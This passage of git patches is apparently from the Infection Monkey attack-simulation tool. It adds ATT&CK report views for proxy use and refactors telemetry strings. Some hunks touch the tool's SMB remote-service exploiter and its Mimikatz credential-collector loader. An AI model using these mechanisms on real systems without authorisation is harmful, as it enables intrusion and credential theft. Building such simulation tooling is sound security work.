{'$arrayElemAt': ['$data', 0]}}}] - @staticmethod def get_report_data(): - monkeys = T1188.get_tunneled_monkeys() + monkeys = Monkey.get_tunneled_monkeys() + hops = [] for monkey in monkeys: - proxy_chain = 0 - proxy = Monkey.objects(id=monkey.tunnel) - while proxy: - proxy_chain += 1 - proxy = Monkey.objects(id=monkey.tunnel) - - data = {'title': T1188.technique_title()} + proxy_count = 0 + proxy = initial = monkey + while proxy.tunnel: + proxy_count += 1 + proxy = proxy.tunnel + if proxy_count > 1: + hops.append({'from': T1188.get_network_info(initial), + 'to': T1188.get_network_info(proxy), + 'count': proxy_count}) + if hops: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1188.get_base_data_by_status(status) + data.update({'hops': hops}) return data @staticmethod - def get_tunneled_monkeys(): - return Monkey.objects(tunnel__exists=True) + def get_network_info(monkey): + return {'ips': monkey.ip_addresses, 'hostname': monkey.hostname} diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js new file mode 100644 index 000000000..f938c5e3f --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js @@ -0,0 +1,49 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, scanStatus } from "./Helpers" + + +class T1188 extends React.Component { + + constructor(props) { + super(props); + } + + static getHopColumns() { + return ([{ + Header: "Communications trough multi-hop proxies", + columns: [ + {Header: 'From', + id: 'from', + accessor: x => renderMachineFromSystemData(x.from), + style: { 'whiteSpace': 'unset' }}, + {Header: 'To', + id: 'to', + accessor: x => renderMachineFromSystemData(x.to), + style: { 'whiteSpace': 'unset' }}, + {Header: 'Hops', + id: 'hops', + accessor: x => x.count, + style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1188; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index dc3f1c654..b5217a56a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -21,6 +21,7 @@ import T1065 from "../attack/techniques/T1065"; import T1035 from "../attack/techniques/T1035"; import T1129 from "../attack/techniques/T1129"; import T1106 from "../attack/techniques/T1106"; +import T1188 from "../attack/techniques/T1188"; const tech_components = { 'T1210': T1210, @@ -37,7 +38,8 @@ const tech_components = { 'T1035': T1035, 'T1129': T1129, 'T1106': T1106, - 'T1107': T1107 + 'T1107': T1107, + 'T1188': T1188 }; const classNames = require('classnames'); From b7f678de04a391a870464952c8548cd788b9ec7c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 15 Jul 2019 10:53:44 +0300 Subject: [PATCH 020/276] Single proxy attack technique finished --- monkey/monkey_island/cc/models/monkey.py | 11 ++++- .../cc/services/attack/attack_report.py | 4 +- .../attack/technique_reports/T1090.py | 23 ++++------- .../attack/technique_reports/T1188.py | 8 +--- .../src/components/attack/techniques/T1090.js | 40 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 6 files changed, 66 insertions(+), 24 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 56b78bc3b..418cec03f 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -71,7 +71,16 @@ class Monkey(Document): @staticmethod def get_tunneled_monkeys(): return Monkey.objects(tunnel__exists=True) - + + @staticmethod + def get_network_info(monkey): + """ + Formats network info from monkey's model + :param monkey: monkey model + :return: dictionary with an array of IP's and a hostname + """ + return {'ips': monkey.ip_addresses, 'hostname': monkey.hostname} + class MonkeyNotFoundError(Exception): pass diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 2321a37c5..719463ba5 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -2,6 +2,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 +from monkey_island.cc.services.attack.technique_reports import T1090 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -25,7 +26,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1129': T1129.T1129, 'T1106': T1106.T1106, 'T1107': T1107.T1107, - 'T1188': T1188.T1188} + 'T1188': T1188.T1188, + 'T1090': T1090.T1090} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index fc9969d9b..0e48d2198 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique from common.utils.attack_utils import ScanStatus -from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey __author__ = "VakarisZ" @@ -12,23 +12,16 @@ class T1090(AttackTechnique): scanned_msg = "" used_msg = "Monkey used connection proxy." - query = [{'$match': {'telem_category': 'exploit', - 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, - {'$unwind': '$data.info.executed_cmds'}, - {'$sort': {'data.info.executed_cmds.powershell': 1}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', - 'info': '$data.info'}}, - {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, - {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}] - @staticmethod def get_report_data(): - cmd_data = list(mongo.db.telemetry.aggregate(T1090.query)) - data = {'title': T1090.technique_title(), 'cmds': cmd_data} - if cmd_data: + monkeys = Monkey.get_tunneled_monkeys() + monkeys = [Monkey.get_network_info(monkey) for monkey in monkeys] + if monkeys: status = ScanStatus.USED.value else: status = ScanStatus.UNSCANNED.value - data.update(T1090.get_message_and_status(status)) + data = T1090.get_base_data_by_status(status) + data.update({'proxies': monkeys}) return data + + diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index 30e621065..6e35f7c7f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -23,8 +23,8 @@ class T1188(AttackTechnique): proxy_count += 1 proxy = proxy.tunnel if proxy_count > 1: - hops.append({'from': T1188.get_network_info(initial), - 'to': T1188.get_network_info(proxy), + hops.append({'from': Monkey.get_network_info(initial), + 'to': Monkey.get_network_info(proxy), 'count': proxy_count}) if hops: status = ScanStatus.USED.value @@ -33,7 +33,3 @@ class T1188(AttackTechnique): data = T1188.get_base_data_by_status(status) data.update({'hops': hops}) return data - - @staticmethod - def get_network_info(monkey): - return {'ips': monkey.ip_addresses, 'hostname': monkey.hostname} diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js new file mode 100644 index 000000000..99660cf65 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js @@ -0,0 +1,40 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, scanStatus } from "./Helpers" + + +class T1090 extends React.Component { + + constructor(props) { + super(props); + } + + static getProxyColumns() { + return ([{ + Header: "Proxies were used to communicate with:", + columns: [ + {Header: 'Machines', + id: 'machine', + accessor: x => renderMachineFromSystemData(x), + style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}]) + }; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1090; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index b5217a56a..0b622248b 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -22,6 +22,7 @@ import T1035 from "../attack/techniques/T1035"; import T1129 from "../attack/techniques/T1129"; import T1106 from "../attack/techniques/T1106"; import T1188 from "../attack/techniques/T1188"; +import T1090 from "../attack/techniques/T1090"; const tech_components = { 'T1210': T1210, @@ -39,7 +40,8 @@ const tech_components = { 'T1129': T1129, 'T1106': T1106, 'T1107': T1107, - 'T1188': T1188 + 'T1188': T1188, + 'T1090': T1090 }; const classNames = require('classnames'); From 930ff08149958b9a991294f1762127fa9db4abbc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 15 Jul 2019 10:54:13 +0300 Subject: [PATCH 021/276] Added "," after each IP address while rendering a machine --- .../cc/ui/src/components/attack/techniques/Helpers.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 775d453da..adc0d2583 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -12,12 +12,12 @@ export function renderMachineFromSystemData(data) { let machineStr = data['hostname'] + " ( "; data['ips'].forEach(function(ipInfo){ if(typeof ipInfo === "object"){ - machineStr += ipInfo['addr'] + " "; + machineStr += ipInfo['addr'] + ", "; } else { - machineStr += ipInfo + " "; + machineStr += ipInfo + ", "; } }); - return machineStr + ")" + return machineStr.slice(0, -2) + " )" } /* Formats telemetry data that contains _id.machine and _id.usage fields into columns From 30c7b99e95ab7631f3f0777882bf90221b2f3da8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 15 Jul 2019 15:58:22 +0300 Subject: [PATCH 022/276] PR fixes --- monkey/common/utils/attack_utils.py | 7 +++++ monkey/infection_monkey/exploit/smbexec.py | 8 +++--- .../system_info/mimikatz_collector.py | 11 ++++---- .../telemetry/attack/t1035_telem.py | 2 +- .../telemetry/attack/t1129_telem.py | 2 +- .../telemetry/attack/usage_telem.py | 4 +-- .../attack/technique_reports/T1035.py | 8 +++--- .../attack/technique_reports/T1129.py | 8 +++--- .../attack/technique_reports/__init__.py | 26 +++++++++++++++++-- .../components/attack/techniques/Helpers.js | 4 +-- 10 files changed, 57 insertions(+), 23 deletions(-) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index cb3c8f029..3edb0dc28 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -10,6 +10,13 @@ class ScanStatus(Enum): USED = 2 +class UsageEnum(Enum): + SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.", + ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."} + MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", + ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."} + + # Dict that describes what BITS job was used for BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system." diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 6f1667c64..74354108e 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -11,7 +11,7 @@ from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType from infection_monkey.telemetry.attack.t1035_telem import T1035Telem -from common.utils.attack_utils import ScanStatus +from common.utils.attack_utils import ScanStatus, UsageEnum LOG = getLogger(__name__) @@ -133,11 +133,11 @@ class SmbExploiter(HostExploiter): service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(scmr_rpc, service) - T1035Telem(ScanStatus.USED, "SMB exploiter ran the monkey by creating a service via MS-SCMR.").send() + status = ScanStatus.USED except: - T1035Telem(ScanStatus.SCANNED, - "SMB exploiter failed to run the monkey by creating a service via MS-SCMR.").send() + status = ScanStatus.SCANNED pass + T1035Telem(status, UsageEnum.SMB.name).send() scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 4f2348531..47fa0d431 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -5,7 +5,7 @@ import socket import zipfile import infection_monkey.config -from common.utils.attack_utils import ScanStatus +from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.telemetry.attack.t1129_telem import T1129Telem from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path @@ -50,10 +50,11 @@ class MimikatzCollector(object): self._get = get_proto(("get", self._dll)) self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) self._isInit = True - T1129Telem(ScanStatus.USED, "Windows module loader was used to load Mimikatz DLL.").send() + status = ScanStatus.USED except Exception: LOG.exception("Error initializing mimikatz collector") - T1129Telem(ScanStatus.SCANNED, "Monkey tried to load Mimikatz DLL, but failed.").send() + status = ScanStatus.SCANNED + T1129Telem(status, UsageEnum.MIMIKATZ.name).send() def get_logon_info(self): """ @@ -70,7 +71,7 @@ class MimikatzCollector(object): logon_data_dictionary = {} hostname = socket.gethostname() - + self.mimikatz_text = self._get_text_output_proto() for i in range(entry_count): @@ -105,7 +106,7 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error getting logon info") return {} - + def get_mimikatz_text(self): return self.mimikatz_text diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py index b3d7c90de..13d0bcc59 100644 --- a/monkey/infection_monkey/telemetry/attack/t1035_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py @@ -6,6 +6,6 @@ class T1035Telem(UsageTelem): """ T1035 telemetry. :param status: ScanStatus of technique - :param usage: Usage string + :param usage: Enum name of UsageEnum """ super(T1035Telem, self).__init__('T1035', status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1129_telem.py b/monkey/infection_monkey/telemetry/attack/t1129_telem.py index fb7d776c6..a04834959 100644 --- a/monkey/infection_monkey/telemetry/attack/t1129_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1129_telem.py @@ -6,6 +6,6 @@ class T1129Telem(UsageTelem): """ T1129 telemetry. :param status: ScanStatus of technique - :param usage: Usage string + :param usage: Enum name of UsageEnum """ super(T1129Telem, self).__init__("T1129", status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py index 48ff5431c..d493c64d8 100644 --- a/monkey/infection_monkey/telemetry/attack/usage_telem.py +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -5,9 +5,9 @@ class UsageTelem(AttackTelem): def __init__(self, technique, status, usage): """ - T1035 telemetry. + :param technique: Id of technique :param status: ScanStatus of technique - :param usage: Usage string + :param usage: Enum name of UsageEnum """ super(UsageTelem, self).__init__(technique, status) self.usage = usage diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index a651a8288..4651f3c25 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -1,10 +1,10 @@ from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.services.attack.technique_reports import UsageTechnique __author__ = "VakarisZ" -class T1035(AttackTechnique): +class T1035(UsageTechnique): tech_id = "T1035" unscanned_msg = "Monkey didn't try to interact with Windows services." scanned_msg = "Monkey tried to interact with Windows services, but failed." @@ -13,5 +13,7 @@ class T1035(AttackTechnique): @staticmethod def get_report_data(): data = T1035.get_tech_base_data() - data.update({'services': list(mongo.db.telemetry.aggregate(T1035.get_usage_query()))}) + services = list(mongo.db.telemetry.aggregate(T1035.get_usage_query())) + services = list(map(T1035.parse_usages, services)) + data.update({'services': services}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py index 7d9fa9dd0..17abd4dd3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -1,10 +1,10 @@ from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.services.attack.technique_reports import UsageTechnique __author__ = "VakarisZ" -class T1129(AttackTechnique): +class T1129(UsageTechnique): tech_id = "T1129" unscanned_msg = "Monkey didn't try to load any DLL's." scanned_msg = "Monkey tried to load DLL's, but failed." @@ -13,5 +13,7 @@ class T1129(AttackTechnique): @staticmethod def get_report_data(): data = T1129.get_tech_base_data() - data.update({'dlls': list(mongo.db.telemetry.aggregate(T1129.get_usage_query()))}) + dlls = list(mongo.db.telemetry.aggregate(T1129.get_usage_query())) + dlls = list(map(T1129.parse_usages, dlls)) + data.update({'dlls': dlls}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index de55cd08c..9b0c23d50 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -1,10 +1,13 @@ import abc +import logging from monkey_island.cc.database import mongo -from common.utils.attack_utils import ScanStatus +from common.utils.attack_utils import ScanStatus, UsageEnum from monkey_island.cc.services.attack.attack_config import AttackConfig from common.utils.code_utils import abstractstatic +logger = logging.getLogger(__name__) + class AttackTechnique(object): """ Abstract class for ATT&CK report components """ @@ -113,6 +116,24 @@ class AttackTechnique(object): data.update({'title': cls.technique_title()}) return data + +class UsageTechnique(AttackTechnique): + __metaclass__ = abc.ABCMeta + + @staticmethod + def parse_usages(usage): + """ + Parses data from database and translates usage enums into strings + :param usage: + :return: + """ + try: + usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] + except KeyError: + logger.error("Error translating usage enum. into string. " + "Check if usage enum field exists and covers all telem. statuses.") + return usage + @classmethod def get_usage_query(cls): """ @@ -131,4 +152,5 @@ class AttackTechnique(object): {'$addFields': {'_id': 0, 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}] + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 775d453da..9cb0de635 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -27,12 +27,12 @@ export function getUsageColumns() { columns: [ {Header: 'Machine', id: 'machine', - accessor: x => renderMachineFromSystemData(x._id.machine), + accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }, width: 300}, {Header: 'Usage', id: 'usage', - accessor: x => x._id.usage, + accessor: x => x.usage, style: { 'whiteSpace': 'unset' }}] }])} From d880c19910c3ce497f7f4e8c7fe66def2f377a7f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 16 Jul 2019 10:47:16 +0300 Subject: [PATCH 023/276] PR fixes for t1106 --- monkey/common/utils/attack_utils.py | 3 +++ monkey/infection_monkey/control.py | 1 + monkey/infection_monkey/dropper.py | 5 ++--- monkey/infection_monkey/system_info/mimikatz_collector.py | 3 +-- monkey/infection_monkey/system_singleton.py | 7 ------- monkey/infection_monkey/telemetry/attack/t1106_telem.py | 4 ++-- .../cc/services/attack/technique_reports/T1035.py | 4 +--- .../cc/services/attack/technique_reports/T1106.py | 7 +++---- .../cc/services/attack/technique_reports/T1129.py | 4 +--- .../cc/services/attack/technique_reports/__init__.py | 5 +++++ 10 files changed, 19 insertions(+), 24 deletions(-) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index 3edb0dc28..77d813351 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -15,6 +15,9 @@ class UsageEnum(Enum): ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."} MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."} + MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.", + ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."} + DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} # Dict that describes what BITS job was used for diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index f34784041..ba30bf515 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -125,6 +125,7 @@ class ControlClient(object): @staticmethod def send_telemetry(telem_category, data): if not WormConfiguration.current_server: + LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category) return try: telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data} diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index e39860d50..230ebc567 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -15,7 +15,7 @@ from infection_monkey.exploit.tools import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from infection_monkey.system_info import SystemInfoCollector, OperatingSystem from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from common.utils.attack_utils import ScanStatus +from common.utils.attack_utils import ScanStatus, UsageEnum if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -158,7 +158,6 @@ class MonkeyDrops(object): else: LOG.debug("Dropper source file '%s' is marked for deletion on next boot", self._config['source_path']) - T1106Telem(ScanStatus.USED, "WinAPI was used to mark monkey files" - " for deletion on next boot.").send() + T1106Telem(ScanStatus.USED, UsageEnum.DROPPER.name).send() except AttributeError: LOG.error("Invalid configuration options. Failing") diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 61d3a1c56..0e6a913c9 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -47,7 +47,6 @@ class MimikatzCollector(object): collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) - T1106Telem(ScanStatus.USED, "WinAPI was called to load mimikatz.").send() self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) @@ -56,7 +55,7 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error initializing mimikatz collector") status = ScanStatus.SCANNED - T1106Telem(ScanStatus.SCANNED, "Monkey tried to call WinAPI to load mimikatz.").send() + T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI.name).send() T1129Telem(status, UsageEnum.MIMIKATZ.name).send() diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 06a2ea689..d8c3ec51c 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -4,8 +4,6 @@ import sys from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration -from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from common.utils.attack_utils import ScanStatus __author__ = 'itamar' @@ -48,19 +46,14 @@ class WindowsSystemSingleton(_SystemSingleton): if not handle: LOG.error("Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error) - T1106Telem(ScanStatus.SCANNED, "WinAPI call to acquire system singleton " - "for monkey process wasn't successful.").send() - return False if winerror.ERROR_ALREADY_EXISTS == last_error: LOG.debug("Cannot acquire system singleton %r, mutex already exist", self._mutex_name) - return False self._mutex_handle = handle - T1106Telem(ScanStatus.USED, "WinAPI was called to acquire system singleton for monkey's process.").send() LOG.debug("Global singleton mutex %r acquired", self._mutex_name) diff --git a/monkey/infection_monkey/telemetry/attack/t1106_telem.py b/monkey/infection_monkey/telemetry/attack/t1106_telem.py index 30cad6072..422313540 100644 --- a/monkey/infection_monkey/telemetry/attack/t1106_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1106_telem.py @@ -4,8 +4,8 @@ from infection_monkey.telemetry.attack.usage_telem import UsageTelem class T1106Telem(UsageTelem): def __init__(self, status, usage): """ - T1129 telemetry. + T1106 telemetry. :param status: ScanStatus of technique - :param usage: Usage string + :param usage: Enum name of UsageEnum """ super(T1106Telem, self).__init__("T1106", status, usage) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index 4651f3c25..fcc230be5 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -13,7 +13,5 @@ class T1035(UsageTechnique): @staticmethod def get_report_data(): data = T1035.get_tech_base_data() - services = list(mongo.db.telemetry.aggregate(T1035.get_usage_query())) - services = list(map(T1035.parse_usages, services)) - data.update({'services': services}) + data.update({'services': T1035.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py index b24d10bd9..b50b19883 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -1,10 +1,9 @@ -from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.services.attack.technique_reports import UsageTechnique __author__ = "VakarisZ" -class T1106(AttackTechnique): +class T1106(UsageTechnique): tech_id = "T1106" unscanned_msg = "Monkey didn't try to directly use WinAPI." scanned_msg = "Monkey tried to use WinAPI, but failed." @@ -13,5 +12,5 @@ class T1106(AttackTechnique): @staticmethod def get_report_data(): data = T1106.get_tech_base_data() - data.update({'api_uses': list(mongo.db.telemetry.aggregate(T1106.get_usage_query()))}) + data.update({'api_uses': T1106.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py index 17abd4dd3..f1a4d1b83 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -13,7 +13,5 @@ class T1129(UsageTechnique): @staticmethod def get_report_data(): data = T1129.get_tech_base_data() - dlls = list(mongo.db.telemetry.aggregate(T1129.get_usage_query())) - dlls = list(map(T1129.parse_usages, dlls)) - data.update({'dlls': dlls}) + data.update({'dlls': T1129.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 9b0c23d50..cc702de62 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -134,6 +134,11 @@ class UsageTechnique(AttackTechnique): "Check if usage enum field exists and covers all telem. statuses.") return usage + @classmethod + def get_usage_data(cls): + data = list(mongo.db.telemetry.aggregate(cls.get_usage_query())) + return list(map(cls.parse_usages, data)) + @classmethod def get_usage_query(cls): """ From 1d4df39aa963c0fe9bee37b3f3b4b1cd127fa28f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 16 Jul 2019 12:11:32 +0300 Subject: [PATCH 024/276] Minor UI improvements --- .../cc/ui/src/components/pages/ConfigurePage.js | 2 +- .../ui/src/components/report-components/AttackReport.js | 2 +- monkey/monkey_island/cc/ui/src/styles/App.css | 8 ++++++++ 3 files changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 44d5a9a2b..ad4df667d 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -496,7 +496,7 @@ class ConfigurePageComponent extends AuthComponent { } return ( - + {this.renderAttackAlertModal()}

Monkey Configuration

